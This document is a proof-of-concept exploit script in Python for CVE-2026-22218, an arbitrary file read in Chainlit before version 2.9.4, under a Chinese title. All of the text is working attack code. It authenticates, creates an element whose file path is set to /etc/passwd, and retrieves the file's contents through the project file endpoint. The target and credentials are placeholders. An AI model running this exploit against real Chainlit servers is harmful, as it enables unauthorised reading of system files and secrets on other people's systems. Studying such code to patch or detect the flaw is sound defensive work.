CVE-2026-22218 Chainlit 任意文件读取漏洞

import requests import json # CVE-2026-22218 PoC - Chainlit Arbitrary File Read # Target: Chainlit application < v2.9.4 TARGET_URL = "http://target.com" # Replace with target URL USERNAME = "attacker" PASSWORD = "password" TARGET_FILE = "/etc/passwd" def exploit_cve_2026_22218(): """ Exploit for CVE-2026-22218: Chainlit arbitrary file read via /project/element Steps: 1. Authenticate to Chainlit application 2. Create malicious Element with user-controlled path 3. Retrieve file via /project/file/{chainlitKey} """ session = requests.Session() # Step 1: Login to get authentication login_url = f"{TARGET_URL}/api/login" login_data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print("[+] Authentication successful") # Step 2: Create malicious Element with arbitrary file path element_url = f"{TARGET_URL}/api/project/element" malicious_element = { "type": "file", "path": TARGET_FILE, # Arbitrary file path "name": "malicious_file", "mime": "text/plain" } response = session.post(element_url, json=malicious_element) if response.status_code != 200: print(f"[-] Element creation failed: {response.status_code}") return None result = response.json() chainlit_key = result.get("element", {}).get("chainlitKey") if not chainlit_key: print("[-] Failed to obtain chainlitKey") return None print(f"[+] Created malicious element with chainlitKey: {chainlit_key}") # Step 3: Retrieve file contents file_url = f"{TARGET_URL}/api/project/file/{chainlit_key}" response = session.get(file_url) if response.status_code == 200: print("[+] File read successful!") print("=" * 50) print(response.text) print("=" * 50) return response.text else: print(f"[-] File retrieval failed: {response.status_code}") return None if __name__ == "__main__": exploit_cve_2026_22218()